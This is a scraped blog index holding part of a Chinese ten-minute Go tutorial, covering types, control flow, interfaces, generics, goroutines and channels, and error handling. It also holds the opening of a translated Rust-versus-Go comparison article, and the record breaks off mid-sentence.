map[string]interface{} // 一个key类型为string，value类型为interface{}的map类型 我们可以用map字面量或make来创建一个map类型实例：\nvar m = map[string]int{} // 声明一个map[string]int类型变量并初始化 var m1 = make(map[string]int) // 与上面的声明等价 var m2 = make(map[string]int, 100) // 声明一个map[string]int类型变量并初始化，其初始容量建议为100 操作map变量的方法也很简单：\nm[\u0026quot;key1\u0026quot;] = 5 // 添加/设置一个键值对 v, ok := m[\u0026quot;key1\u0026quot;] // 获取“key1”这个键的值，如果存在，则其值存储在v中，ok为true delete(m, \u0026quot;key1\u0026quot;) // 从m这个map中删除“key1”这个键以及其对应的值 其他类型 函数、接口、channel类型在后面有详细说明。\n自定义类型 使用type关键字可以实现自定义类型：\ntype T1 int // 定义一个新类型T1，其底层类型(underlying type)为int type T2 string // 定义一个新类型T2，其底层类型为string type T3 struct{ // 定义一个新类型T3，其底层类型为一个结构体类型 x, y int z string } type T4 []float64 // 定义一个新类型T4，其底层类型为[]float64切片类型 type T5 T4 // 定义一个新类型T5，其底层类型为[]float64切片类型 Go也支持为类型定义别名(alias)，其形式如下；\ntype T1 = int // 定义int的类型别名为T1，T1与int等价 type T2 = string // 定义string的类型别名为T2，T2与string等价 type T3 = T2 // 定义T的类型别名为T3，T3与T2等价，也与string等价 类型转换 Go不支持隐式自动转型，如果要进行类型转换操作，我们必须显式进行，即便两个类型的底层类型相同也需如此：\ntype T1 int type T2 int var t1 T1 var n int = 5 t1 = T1(n) // 显式将int类型变量转换为T1类型 var t2 T2 t2 = T2(t1) // 显式将T1类型变量转换为T2类型 Go很多原生类型支持相互转换：\n// 数值类型的相互转换 var a int16 = 16 b := int32(a) c := uint16(a) f := float64(a) // 切片与数组的转换(Go 1.17版本及后续版本支持) var a [3]int = [3]int([]int{1,2,3}) // 切片转换为数组 var pa *[3]int = (*[3]int)([]int{1,2,3}) // 切片转换为数组指针 sl := a[:] // 数组转换为切片 // 字符串与切片的相互转换 var sl = []byte{'h', 'e','l', 'l', 'o'} var s = string(sl) // s为hello var sl1 = []byte(s) // sl1为['h' 'e' 'l' 'l' 'o'] string([]rune{0x767d, 0x9d6c, 0x7fd4}) // []rune切片到string的转换 控制语句 Go提供了常见的控制语句，包括条件分支(if)、循环语句(for)和选择分支语句(switch)。\n条件分支语句 // if ... if a == 1 { ... ... } // if - else if - else if a == 1 { } else if b == 2 { } else { } // 带有条件语句自用变量 if a := 1; a != 0 { } // if语句嵌套 if a == 1 { if b == 2 { } else if c == 3 { } else { } } 循环语句 // 经典循环 for i := 0; i \u0026lt; 10; i++ { ... } // 模拟while ... do for i \u0026lt; 10 { } // 无限循环 for { } // for range var s = \u0026quot;hello\u0026quot; for i, c := range s { } var sl = []int{... ...} for i, v := range sl { } var m = map[string]int{} for k, v := range m { } var c = make(chan int, 100) for v := range c { } 选择分支语句 var n = 5 switch n { case 0, 1, 2, 3: s1() case 4, 5, 6, 7: s2() default: // 默认分支 s3() } switch n { case 0, 1: fallthrough // 显式告知执行下面分支的动作 case 2, 3: s1() case 4, 5, 6, 7: s2() default: s3() } switch x := f(); { case x \u0026lt; 0: return -x default: return x } switch { case x \u0026lt; y: f1() case x \u0026lt; z: f2() case x == 4: f3() } 函数 Go使用func关键字来声明一个函数：\nfunc greet(name string) string { return fmt.Sprintf(\u0026quot;Hello %s\u0026quot;, name) } 函数由函数名、可选的参数列表和返回值列表组成。Go函数支持返回多个返回值，并且我们通常将表示错误值的返回类型放在返回值列表的最后面：\nfunc Atoi(s string) (int, error) { ... ... return n, nil } 在Go中函数是一等公民，因此函数自身也可以作为参数或返回值：\nfunc MultiplyN(n int) func(x int) int { return func(x int) int { return x * n } } 像上面MultiplyN函数中定义的匿名函数func(x int) int，它的实现中引用了它的外围函数MultiplyN的参数n，这样的匿名函数也被称为闭包(closure)。\n说到函数，我们就不能不提defer。在某函数F调用的前面加上defer，该函数F的执行将被“延后”至其调用者A结束之后：\nfunc F() { fmt.Println(\u0026quot;call F\u0026quot;) } func A() { fmt.Println(\u0026quot;call A\u0026quot;) defer F() fmt.Println(\u0026quot;exit A\u0026quot;) } func main() { A() } 上面示例输出：\ncall A exit A call F 在一个函数中可以多次使用defer：\nfunc B() { defer F() defer G() defer H() } 被defer修饰的函数将按照“先入后出”的顺序在B函数结束后被调用，上面B函数执行后将输出：\ncall H call G call F 方法 方法是带有receiver的函数。下面是Point类型的一个方法Length：\ntype Point struct { x, y float64 } func (p Point) Length() float64 { return math.Sqrt(p.x * p.x + p.y * p.y) } 而在func关键字与函数名之间的部分便是receiver。这个receiver也是Length方法与Point类型之间纽带。我们可以通过Point类型变量来调用Length方法：\nvar p = Point{3,4} fmt.Println(p.Length()) 亦可以将方法当作函数来用：\nvar p = Point{3,4} fmt.Println(Point.Length(p)) // 这种用法也被称为方法表达式(method expression) 接口 接口是一组方法的集合，它代表一个“契约”，下面是一个由三个方法组成的方法集合的接口类型：\ntype MyInterface interface { M1(int) int M2(string) error M3() } Go推崇面向接口编程，因为通过接口我们可以很容易构建低耦合的应用。\nGo还支持在接口类型(如I)中嵌套其他接口类型(如io.Writer、sync.Locker)，其结果就是新接口类型I的方法集合为其方法集合与嵌入的接口类型Writer和Locker的方法集合的并集：\ntype I interface { // 一个嵌入了其他接口类型的接口类型 io.Writer sync.Locker } 接口实现 如果一个类型T实现了某个接口类型MyInterface方法集合中的所有方法，那么我们说该类型T实现了接口MyInterface，于是T类型的变量t可以赋值给接口类型MyInterface的变量i，此时变量i的动态类型为T：\nvar t T var i MyInterface = t // ok 通过上述变量i可以调用T的方法：\ni.M1(5) i.M2(\u0026quot;demo\u0026quot;) i.M3() 方法集合为空的接口类型interface{}被称为“空接口类型”，空白的“契约”意味着任何类型都实现了该空接口类型，即任何变量都可以赋值给interface{}类型的变量：\nvar i interface{} = 5 // ok i = \u0026quot;demo\u0026quot; // ok i = T{} // ok i = \u0026amp;T{} // ok i = []T{} // ok 注：Go 1.18中引入的新预定义标识符any与interface{}是等价类型。\n接口的类型断言 Go支持通过类型断言从接口变量中提取其动态类型的值：\nv, ok := i.(T) // 类型断言 如果接口变量i的动态类型确为T，那么v将被赋予该动态类型的值，ok为true；否则，v为T类型的零值，ok为false。\n类型断言也支持下面这种语法形式：\nv := i.(T) 但在这种形式下，一旦接口变量i之前被赋予的值不是T类型的值，那么这个语句将抛出panic。\n接口类型的type switch “type switch”这是一种特殊的switch语句用法，仅用于接口类型变量：\nfunc main() { var x interface{} = 13 switch x.(type) { case nil: println(\u0026quot;x is nil\u0026quot;) case int: println(\u0026quot;the type of x is int\u0026quot;) // 执行这一分支case case string: println(\u0026quot;the type of x is string\u0026quot;) case bool: println(\u0026quot;the type of x is string\u0026quot;) default: println(\u0026quot;don't support the type\u0026quot;) } } switch关键字后面跟着的表达式为x.(type)，这种表达式形式是switch语句专有的，而且也只能在switch语句中使用。这个表达式中的x必须是一个接口类型变量，表达式的求值结果是这个接口类型变量对应的动态类型。\n上述例子中switch后面的表达式也可由x.(type)换成了v := x.(type)。v中将存储变量x的动态类型对应的值信息：\nvar x interface{} = 13 switch x.(type) { case nil: println(\u0026quot;v is nil\u0026quot;) case int: println(\u0026quot;the type of v is int, v =\u0026quot;, v) // 执行这一分支case，v = 13 ... ... } 泛型 Go从1.18版本开始支持泛型。Go泛型的基本语法是类型参数(type parameter)，Go泛型方案的实质是对类型参数的支持，包括：\n泛型函数（generic function）：带有类型参数的函数； 泛型类型（generic type）：带有类型参数的自定义类型； 泛型方法（generic method）：泛型类型的方法。 泛型函数 下面是一个泛型函数max的定义：\ntype ordered interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 | ~uint | ~uint8 | ~uint16 | ~uint32 | ~uint64 | ~uintptr | ~float32 | ~float64 | ~string } func max[T ordered](sl []T) T { ... ... } 与普通Go函数相比，max函数在函数名称与函数参数列表之间多了一段由方括号括起的代码：[T ordered]；max参数列表中的参数类型以及返回值列表中的返回值类型都是T，而不是某个具体的类型。\nmax函数中多出的[T ordered]就是Go泛型的类型参数列表（type parameters list），示例中这个列表中仅有一个类型参数T，ordered为类型参数的类型约束（type constraint）。\n我们可以像普通函数一样调用泛型函数，我们可以显式指定类型实参：\nvar m int = max[int]([]int{1, 2, -4, -6, 7, 0}) // 显式指定类型实参为int fmt.Println(m) // 输出：7 Go也支持自动推断出类型实参：\nvar m int = max([]int{1, 2, -4, -6, 7, 0}) // 自动推断T为int fmt.Println(m) // 输出：7 泛型类型 所谓泛型类型，就是在类型声明中带有类型参数的Go类型：\ntype Set[T comparable] map[T]string type element[T any] struct { next *element[T] val T } type Map[K, V any] struct { root *node[K, V] compare func(K, K) int } 以泛型类型Set为例，其使用方法如下：\nvar s = Set[string]{} s[\u0026quot;key1\u0026quot;] = \u0026quot;value1\u0026quot; println(s[\u0026quot;key1\u0026quot;]) // value1 泛型方法 Go类型可以拥有自己的方法（method），泛型类型也不例外，为泛型类型定义的方法称为泛型方法（generic method）。\ntype Set[T comparable] map[T]string func (s Set[T]) Insert(key T, val string) { s[key] = val } func (s Set[T]) Get(key T) (string, error) { val, ok := s[key] if !ok { return \u0026quot;\u0026quot;, errors.New(\u0026quot;not found\u0026quot;) } return val, nil } func main() { var s = Set[string]{ \u0026quot;key\u0026quot;: \u0026quot;value1\u0026quot;, } s.Insert(\u0026quot;key2\u0026quot;, \u0026quot;value2\u0026quot;) v, err := s.Get(\u0026quot;key2\u0026quot;) fmt.Println(v, err) // value2 \u0026lt;nil\u0026gt; } 类型约束 Go通过类型约束(constraint)对泛型函数的类型参数以及泛型函数中的实现代码设置限制。Go使用扩展语法后的interface类型来定义约束。\n下面是使用常规接口类型作为约束的例子：\ntype Stringer interface { String() string } func Stringify[T fmt.Stringer](s []T) (ret []string) { // 通过Stringer约束了T的实参只能是实现了Stringer接口的类型 for _, v := range s { ret = append(ret, v.String()) } return ret } Go接口类型声明语法做了扩展，支持在接口类型中放入类型元素（type element）信息：\ntype ordered interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 | ~uint | ~uint8 | ~uint16 | ~uint32 | ~uint64 | ~uintptr | ~float32 | ~float64 | ~string } func Less[T ordered](a, b T) bool { return a \u0026lt; b } type Person struct { name string age int } func main() { println(Less(1, 2)) // true println(Less(Person{\u0026quot;tony\u0026quot;, 11}, Person{\u0026quot;tom\u0026quot;, 23})) // Person不满足ordered的约束，会导致编译错误 } 并发 Go语言原生支持并发，Go并没有使用操作系统线程作为并发的基本执行单元，而是实现了goroutine这一由Go运行时（runtime）负责调度的、轻量的用户级线程，为并发程序设计提供原生支持。\ngoroutine 通过go关键字+函数/方法的方式，我们便可以创建一个goroutine。创建后，新goroutine将拥有独立的代码执行流，并与创建它的goroutine一起被Go运行时调度。\ngo fmt.Println(\u0026quot;I am a goroutine\u0026quot;) // $GOROOT/src/net/http/server.go c := srv.newConn(rw) go c.serve(connCtx) goroutine的执行函数返回后，goroutine便退出。如果是主goroutine(执行main.main的goroutine)退出，那么整个Go应用进程将会退出，程序生命周期结束。\nchannel Go提供了原生的用于goroutine之间通信的机制channel，channel的定义与操作方式如下：\n// channel类型 chan T // 一个元素类型为T的channel类型 chan\u0026lt;- float64 // 一个元素类型为float64的只发送channel类型 \u0026lt;-chan int // 一个元素类型为int的只接收channel类型 var c chan int // 声明一个元素类型为int的channel类型的变量，初值为nil c1 := make(chan int) // 声明一个元素类型为int的无缓冲的channel类型的变量 c2 := make(chan int, 100) // 声明一个元素类型为int的带缓冲的channel类型的变量，缓冲大小为100 close(c) // 关闭一个channel 下面是两个goroutine基于channel通信的例子：\nfunc main() { var c = make(chan int) go func(a, b int) { c \u0026lt;- a + b }(3,4) println(\u0026lt;-c) // 7 } 当涉及同时对多个channel进行操作时，Go提供了select机制。通过select，我们可以同时在多个channel上进行发送/接收操作：\nselect { case x := \u0026lt;-ch1: // 从channel ch1接收数据 ... ... case y, ok := \u0026lt;-ch2: // 从channel ch2接收数据，并根据ok值判断ch2是否已经关闭 ... ... case ch3 \u0026lt;- z: // 将z值发送到channel ch3中: ... ... default: // 当上面case中的channel通信均无法实施时，执行该默认分支 } 错误处理 Go提供了简单的、基于错误值比较的错误处理机制，这种机制让每个开发人员必须显式地去关注和处理每个错误。\nerror类型 Go用error这个接口类型表示错误，并且按惯例，我们通常将error类型返回值放在返回值列表的末尾。\n// $GOROOT/src/builtin/builtin.go type error interface { Error() string } 任何实现了error的Error方法的类型的实例，都可以作为错误值赋值给error接口变量。\nGo提供了便捷的构造错误值的方法：\nerr := errors.New(\u0026quot;your first demo error\u0026quot;) errWithCtx = fmt.Errorf(\u0026quot;index %d is out of bounds\u0026quot;, i) 错误处理形式 Go最常见的错误处理形式如下：\nerr := doSomething() if err != nil { ... ... return err } 通常我们会定义一些“哨兵”错误值来辅助错误处理方检视（inspect）错误值并做出错误处理分支的决策：\n// $GOROOT/src/bufio/bufio.go var ( ErrInvalidUnreadByte = errors.New(\u0026quot;bufio: invalid use of UnreadByte\u0026quot;) ErrInvalidUnreadRune = errors.New(\u0026quot;bufio: invalid use of UnreadRune\u0026quot;) ErrBufferFull = errors.New(\u0026quot;bufio: buffer full\u0026quot;) ErrNegativeCount = errors.New(\u0026quot;bufio: negative count\u0026quot;) ) func doSomething() { ... ... data, err := b.Peek(1) if err != nil { switch err { case bufio.ErrNegativeCount: // ... ... return case bufio.ErrBufferFull: // ... ... return case bufio.ErrInvalidUnreadByte: // ... ... return default: // ... ... return } } ... ... } Is和As 从Go 1.13版本开始，标准库errors包提供了Is函数用于错误处理方对错误值的检视。Is函数类似于把一个error类型变量与“哨兵”错误值进行比较：\n// 类似 if err == ErrOutOfBounds{ … } if errors.Is(err, ErrOutOfBounds) { // 越界的错误处理 } 不同的是，如果error类型变量的底层错误值是一个包装错误（Wrapped Error），errors.Is方法会沿着该包装错误所在错误链（Error Chain)，与链上所有被包装的错误（Wrapped Error）进行比较，直至找到一个匹配的错误为止。\n标准库errors包还提供了As函数给错误处理方检视错误值。As函数类似于通过类型断言判断一个error类型变量是否为特定的自定义错误类型：\n// 类似 if e, ok := err.(*MyError); ok { … } var e *MyError if errors.As(err, \u0026amp;e) { // 如果err类型为*MyError，变量e将被设置为对应的错误值 } 如果error类型变量的动态错误值是一个包装错误，errors.As函数会沿着该包装错误所在错误链，与链上所有被包装的错误的类型进行比较，直至找到一个匹配的错误类型，就像errors.Is函数那样。\n小结 读到这里，你已经对Go语言有了入门级的认知，但要想成为一名Gopher(对Go开发人员的称呼)，还需要更进一步的学习与实践。我的极客时间专栏《Go语言第一课》是一个很好的起点，欢迎大家订阅学习^_^。\nBTW，本文部分内容由ChatGPT生成！你能猜到是哪些部分吗^_^。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/02/23/learn-go-in-10-min/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/learn-go-in-10-min-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/02/23/learn-go-in-10-min\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/02/23/learn-go-in-10-min\"\u003ehttps://tonybai.com/2023/02/23/learn-go-in-10-min\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文旨在带大家快速入门Go语言，期望小伙伴们在花费十分钟左右通读全文后能对Go语言有一个初步的认知，为后续进一步深入学习Go奠定基础。\u003c/p\u003e","title":"十分钟入门Go语言"},{"content":"\n本文永久链接 – https://tonybai.com/2023/02/22/rust-vs-go-in-2023\n本文译自《Rust vs Go in 2023》。\n注：从2022年下半年开始，我们研发团队的产品研发不再局限于云端，车端也是将来的一个重要方向。于是我除了继续对Go语言保持常规的高度关注之外，也逐步开始留意Rust语言的发展。\nRust和Go哪个更好？Go还是Rust？在2023年，你应该为你的下一个项目选择哪种语言，为什么？两者在性能、简单性、安全性、功能、规模和并发性等方面如何比较？它们的共同点是什么，它们有哪些根本性的不同？让我们在这个友好而公平的Rust和Go的比较中找到答案。\nRust和Go都很棒 首先，我必须要说的是，Go和Rust都是绝对优秀的编程语言。它们都是现代的、强大的、被广泛采用的编程语言，并且都提供出色的性能。\n你可能读过一些说Go比Rust好的文章，或者相反。但这真的没有意义；每一种编程语言都代表了一系列的权衡和取舍。每种语言都有自己的优化重点，所以你对语言的选择应该由适合你的东西和你想用它解决的问题决定。\n在这篇文章中，我将尝试告诉你何时使用Go是理想选择以及何时使用Rust更佳。我也会试着介绍一下这两种语言的本质（如果你愿意的话，就是Go和Rust的道）。\n虽然它们在语法和风格上有很大不同，但Rust和Go都是构建软件的一流工具。接下来，让我们仔细看看这两种语言。\nGo和Rust的相似之处 Rust和Go有很多共同点，这也是你经常听到它们一起被提及的原因之一。两种语言的共同目标是什么呢？\nRust是一种低级静态类型的多范式编程语言，专注于安全和性能。 – Gints Dreimanis\nGo是一种开源的编程语言，可以轻松构建简单、可靠、高效的软件。 – go.dev\n内存安全 Go和Rust都属于现代编程语言，它们的首要任务是内存安全。经过几十年对C和C++等旧语言的使用，我们可以清楚地看到，导致错误和安全漏洞的最大原因之一是不安全地或不正确地访问内存。\nRust和Go以不同的方式处理这个问题，但它们的目标都是在管理内存方面比其他语言更聪明、更安全，并帮助你写出正确和高性能的程序。\n快速、紧凑的可执行文件 Go和Rust都是编译型语言，这意味着你的程序被直接翻译成可执行的机器码，因此你可以以单一二进制文件形式来部署你的程序；与Python和Ruby等解释型语言不同，你不需要将解释器和大量的库和依赖关系与你的程序一起分发，这是一个很大的优点。这也使得Rust和Go的程序与解释型语言相比都非常快。\n通用语言 Rust和Go都是强大的、可扩展的通用编程语言，你可以用它们来开发各种现代软件，从网络应用到分布式微服务，或者从嵌入式微控制器到移动应用程序。\n两者都有优秀的标准库、繁荣的第三方生态系统以及巨大的商业支持和庞大的用户基础。它们都已经存在了很多年，并将在未来几年内继续被广泛使用。今天学习Go或Rust将是对你时间和精力的合理投资。\n务实的编程风格 Go和Rust都不是以函数式编程为主的语言（例如像Scala或Elixir），也不是完全面向对象的语言（像Java和C#）。相反，虽然Go和Rust都有与函数式和面向对象编程相关的特性，但它们是务实的语言，旨在以最合适的方式解决问题，而不是强迫你采用特定的做事方式。\n如果你喜欢函数式编程风格，你会在Rust中发现更多对这种风格的支持，因为Rust在语法特性数量上要比Go更多。\n我们可以讨论什么是“面向对象”语言，但可以说C++、Java或C#用户所期望的面向对象编程风格在Go或Rust中都不存在。 – Jack Mott\n规模化的开发 Rust和Go都有一些有用的特性，使它们适合于大规模的编程，不管是指大型团队，还是大型代码库，或者两者兼具。\n例如，C语言的程序员们多年来一直在争论将括号放在哪里，以及代码应该用制表符还是空格缩进，而Rust和Go通过使用标准的格式化工具（Go为gofmt，Rust为rustfmt）使用规范的风格自动重写你的代码，完全消除了这些问题。\n这并不是说这种特殊的风格本身有多好：而是Rust和Go的程序员都喜欢这种标准化。\ngofmt的风格是没有人喜欢的，但gofmt却是所有人的最爱。 – Rob Pike\n两种语言的另一个高分领域是构建管道(pipeline)。两种语言都有优秀的、内置的、高性能的标准构建和依赖管理工具；不再需要与复杂的第三方构建系统搏斗，也不再需要每隔几年就学习一个新的系统。\n对于早期职业生涯以Java和Ruby为背景的我而言，构建Go和Rust代码感觉就像从我的肩上卸下了一个不可能的重担。当我在谷歌工作时，遇到用Go编写的服务是一种解脱，因为我知道它很容易构建和运行。Rust也是如此，尽管我只在较小规模的Rust项目上工作过。我希望可无限配置的构建系统的时代已经过去了，所有语言都会有自己专门的构建工具，开箱即可使用。- 山姆-罗斯\nRust还是Go？ 综上可知，这两种语言都设计得很好、很强大，那么你可能会想知道那些关于两门语言的“圣战”究竟是怎么回事（我也是）。为什么人们对“Go vs.Rust”如此大惊小怪，在社交媒体上大打出手，并且写长篇博文说只有傻瓜才会使用Rust，或者Go不是真正的编程语言，或者其他什么。\n这可能会让他们感觉好些，但这并不能完全帮助你，因为你正试图决定在你的项目中使用哪种语言，或者你应该学习哪种语言来推动你的编程生涯。一个明智的人不会根据谁喊得声最大来做出重要的选择。\n现在让我们继续我们成熟的讨论，看看在某些领域，一个有理智的人可能更喜欢哪一种语言。\nGo与Rust的性能对比 我们已经说过，Go和Rust都能生产出高性能的程序，因为它们被编译成了本地机器代码，而不必通过解释器或虚拟机。\n然而，Rust的性能尤其突出。它可以与C和C++相媲美，这两种语言通常被认为是性能最高的编译语言，但与这些老语言不同的是，Rust还提供了内存安全和并发安全，并且基本上不会给执行速度上带去没有任何开销。Rust还允许你创建复杂的抽象，而不需要在运行时付出任何性能上的代价。\n相比之下，尽管Go程序的性能也非常好，但Go主要是为开发速度（包括编译）而设计的，而不是执行速度。Go程序员更倾向于清晰的代码而不是快速的代码。\nGo编译器也不会花很多时间去尝试生成最有效的机器代码；它更关心的是快速编译大量代码。所以Rust通常会在运行时基准测试中击败Go。\nRust的运行时性能也是一致和可预测的，因为它不使用垃圾收集。Go的垃圾收集器非常高效，并且经过优化，使其“STW(停止世界)”的停顿时间尽可能短（每一个新的Go版本都会越来越短）。但是垃圾收集不可避免地在程序的行为方式中引入了一些不可预测的因素，这在某些应用中可能是一个严重的问题，例如嵌入式系统。\n因为Rust旨在让程序员完全控制底层硬件，所以有可能将Rust程序优化到相当接近机器的最大理论性能。这使得Rust在执行速度胜过所有其他考虑因素的领域是一个很好的选择，比如游戏编程、操作系统内核、网络浏览器组件和实时控制系统。\n简单性 如果没有人能够弄清楚如何使用一种编程语言，那么这种语言有多快也无所谓。Go语言是为了应对C++等语言不断增长的复杂性而特意设计的；它的语法非常少，关键字也非常少，事实上，功能特性也很少。\n这意味着学习Go语言不需要很长时间，就可以用它来编写有用的程序。\nGo是非常容易学习的。我知道这是一个经常被吹捧的好处，但我真的很惊讶于我能够如此迅速地提高工作效率。多亏了这个语言、文档和工具，我在两天后就写出了有趣的、可提交的代码。 – 一个Rust程序员对Go的早期印象\n这里的关键词是简单性。当然，简单并不等同于容易，但是小而简单的语言比大而复杂的语言更容易学习。Go语言没有提供那么多不同的方法来做一件事情，所以所有写得好的Go代码往往看起来都一样。快速学习一个不熟悉的服务并理解它在做什么很容易。\nfmt.Println(\u0026quot;Gopher's Diner Breakfast Menu\u0026quot;) for dish, price := range menu { fmt.Println(dish, price) } 在我的代码俱乐部视频系列中，我正是这样做的：从GitHub上半随机地挑选Go项目，并与一群Go初学者一起探索它们，看看我们能理解多少的代码。结果总是比我们预期的要多。\n虽然核心语言很小，但Go的标准库却非常强大。这意味着你的学习曲线也需要包括你需要的标准库的部分，而不仅仅是Go语法。\n另一方面，将功能从语言中转移到标准库中，意味着你可以只专注于学习与你现在相关的库。\nGo也是为大规模的软件开发而设计的，支持有大型代码库的大型团队。在这种情况下，新的开发人员能够尽快上手是非常重要的。出于这个原因，Go社区十分看重：简单、明显、常规、直接的程序。\n使用Go，你可以快速完成工作。Go是我所使用过的生产力最高的语言之一。它的口号是：今天解决实际问题。 – 马蒂亚斯-恩德勒\n特性 Rust比其他几种编程语言支持更多的复杂语法特性，因此，你可以用它实现更多。 – devathon\nRust是专门设计用来帮助程序员用最少的代码做最多的事情，它包括很多强大而有用的功能特性。例如，Rust的match功能可以让你以十分简洁地方式写出灵活的、富有表现力的逻辑：\nfn is_prime(n: u64) -\u0026gt; bool { match n { 0...1 =\u0026gt; false, _ =\u0026gt; !(2..n).any(|d| n % d == 0), } } 因为Rust做了很多事情，这意味着有很多东西需要学习，特别是在开始的时候。但这没关系：在C++或Java中也有很多东西要学，而且你不会得到Rust的高级特性，比如内存安全。\n批评Rust是一种复杂的语言忽略了一点：它被设计成具有表现力，这意味着有很多功能，而在许多情况下，这正是你想要的编程语言。\n当然，Rust有一个学习曲线，但一旦你开始使用它，你就会好起来。\n对于那些准备接受更复杂的语法和语义（以及可能更高的可读性成本）以换取最大可能的性能的程序员来说，Rust将与C++和D语言争夺思想份额。 – 戴夫-切尼\n虽然Rust采用了Go的一些特性，而Go也在采用Rust的一些特性（尤其是泛型），但可以说Rust的特性很重，而Go的特性相对较轻。\n并发 大多数语言都对并发编程（同时做多件事情）有某种形式的支持，但Go从一开始就是为这项工作而设计的。Go不使用操作系统的线程，而是提供了一个轻量级的替代方案：goroutine。\n每个goroutine是一个独立执行的Go函数，Go调度器会将其映射到其控制下的一个操作系统线程中。这意味着调度器可以非常有效地管理大量并发的goroutine，只使用有限的操作系统线程。\n因此，你可以在一个程序中运行数百万个并发的goroutine，而不会产生严重的性能问题。这使得Go成为高规模并发应用程序的完美选择，如网络服务器和微服务。\nGo还具有快速、安全、高效的功能特性，可以使用channel让goroutines进行通信和共享数据。Go的并发支持感觉设计得很好，使用起来也很愉快。\n一般来说，对并发程序进行推断是很难的，而且在任何语言中建立可靠、正确的并发程序都是一个挑战。但由于它从一开始就内置于语言中，而不是事后才想到的，Go中的并发编程是最简单、最完整的。\nGo语言可以很容易地建立一个很好的多因素的应用程序，充分利用并发性，同时作为一组微服务进行部署。Rust也可以做这些事情，但可以说它更难。 在某些方面，Rust对防止与内存有关的安全漏洞的痴迷意味着程序员必须不遗余力地执行那些在其他语言（包括Go）中会更简单的任务。 – Sonya Koptyev\n相比之下，Rust中的并发故事是非常新的，而且还在稳定中，但它正处于非常积极的开发中，所以请关注这个领域。例如，Rust的rayon库提供了一种非常优雅和轻量级的方式来将顺序计算转化为并行计算。\n拥有goroutines和使用channel的轻量级语法真的很好。这真的显示了语法的力量，这些小细节使并发编程比其他语言感觉好得多 – 一个Rust程序员对Go的早期印象\n虽然在Rust中实现并发程序可能不那么简单，但还是有可能的，而且这些程序可以利用Rust的安全保证。\n一个很好的例子是标准库的Mutex类：在Go中，你可以忘记在访问某些东西之前获得一个Mutex锁，但Rust不会让你这样做。\nGo专注于将并发性作为一个一等公民的概念。这并不是说你不能在Rust中找到Go的面向actor的并发性，但这是留给程序员的一个练习。 – Dave Cheney\n安全 我们在前面看到，Go和Rust都以不同的方式来防止一大类与内存管理有关的常见编程错误。但是Rust尤其努力确保你不会做一些你不想做的不安全的事情。\nRust的编译器非常严格和学究派，它检查你使用的每个变量和你引用的每个内存地址。它避免了可能的数据竞争条件，并告知你未定义的行为。并发和内存安全问题在Rust的安全子集中根本不可能发生。 – 为什么是Rust？\n这将使Rust编程成为与几乎所有其他语言不同的体验，而且一开始可能是一种挑战。但对很多人来说，这种辛苦是值得的。\n对我来说，Rust的关键优势是一种感觉，即编译器是我的后盾，不会让它可能检测到的任何错误通过（说真的，有时感觉就像魔法一样）。 – Grzegorz Nosek\n包括Go在内的许多语言都有帮助程序员避免错误的设施，但Rust将这一点提高到了一个新的水平，因此可能不正确的程序甚至不会被编译。\n有了Rust，库程序员有很多工具来防止他/她的用户犯错。Rust让我们有能力说，我们拥有一块特定的数据；其他东西不可能声称拥有，所以我们知道没有其他东西能够修改它。我想不出以前有什么时候我被赋予过这么多工具来防止意外的误用。这是一种奇妙的感觉。 – 山姆-罗斯\n“与借用检查器(borrow checker)斗争”是Rust程序员新手的常见综合症，但在大多数情况下，它所发现的问题是你的代码中真正的bug（或至少是潜在的bug）。它可能会迫使你从根本上重构你的程序，以避免遇到这些问题；而当正确性和可靠性是你的首要任务时，这是件好事。\n一个不改变你编程方式的语言有什么意义呢？当你用其他语言工作时，Rust所教授的关于安全的课程也是有用的。\n如果你选择了Rust，通常你需要该语言提供的保证：针对空指针和数据竞争的安全，可预测的运行时行为，以及对硬件的完全控制。如果你不需要这些功能，Rust可能是你下一个项目的糟糕选择。这是因为这些保证是有代价的：入门时间。你需要戒掉坏习惯，学习新概念。有可能的是，当你开始的时候，你会经常和借用检查器斗争。 – Matthias Endler\n你觉得Rust的编程模型有多大的挑战性，可能取决于你以前有哪些其他语言的经验。Python或Ruby程序员可能会发现它的限制性；其他人会很高兴。\n如果你是一个花了几周的时间来追寻内存安全漏洞的C/C++程序员，你会非常欣赏Rust。”与借用检查器斗争”变成了”编译器可以检测到这个？酷！” -Grzegorz Nosek\n规模化 今天的服务器程序由数千万行代码组成，由数百甚至数千名程序员进行构建，而且每天都在更新。Go的设计和开发是为了使在这种环境中工作更有成效。Go的设计考虑包括严格的依赖性管理，随着系统的发展，软件架构的适应性，以及组件之间的健壮性。 – Rob Pike\n当你一个人或在小团队中处理问题时，选择简单的语言还是功能丰富的语言是一个偏好的问题。但是当软件越来越大，越来越复杂，团队越来越大时，差异就开始显现出来了。\n对于大型应用程序和分布式系统来说，执行速度不如开发速度重要：像Go这样刻意简化的语言可以减少新开发人员的启动时间，并使他们更容易处理大型代码库的工作。\n有了Go，作为初级开发者更容易提高工作效率，而作为中级开发者则更难引入会导致后续问题的脆弱抽象。由于这些原因，Rust在企业软件开发方面不如Go有说服力。 – Loris 